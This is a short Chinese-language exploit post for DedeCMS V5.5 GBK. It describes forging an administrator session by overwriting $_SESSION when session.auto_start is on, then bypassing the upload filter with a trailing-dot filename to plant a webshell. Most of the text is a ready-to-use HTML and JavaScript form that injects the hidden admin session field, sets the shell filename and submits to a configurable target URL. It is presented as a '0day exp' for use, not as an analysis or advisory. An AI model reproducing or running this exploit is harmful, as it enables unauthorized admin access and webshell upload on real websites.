在session.auto_start开启的情况下可以任意覆盖$_SESSION变量，我们可以伪造管理员登录并上传文件

/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php

上传时重命名为    *.php.
即可绕过检查上传shell

exp:
  <form action="" method='POST' enctype="multipart/form-data">
  U&nbsp;R&nbsp;L:<input type="text" name="target" size="50" value="http://192.168.1.110">&nbsp;&nbsp;
  Path:<input type="text" name="path" value="/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php" size="90"><br>
File:&nbsp;<input type='file' name='uploadfile' size='25' />(Filetype must be GIF/JPEG etc)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      RenameTo:<input type='test' name='newname' value="shell.asp."/><br>
      &nbsp;
    <input type=hidden name="_SESSION[dede_admin_id]" value=1>
        <input type=hidden name="bkurl" value=1>
      <input type='button' value='submit' onclick="fsubmit()"/><br><br><br><br><br><br>
    dedecms 0day exp..<br>
    need: session.auto_start = 1<br>
    By toby57    2010/2/22
  </form>
<script>
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
</script>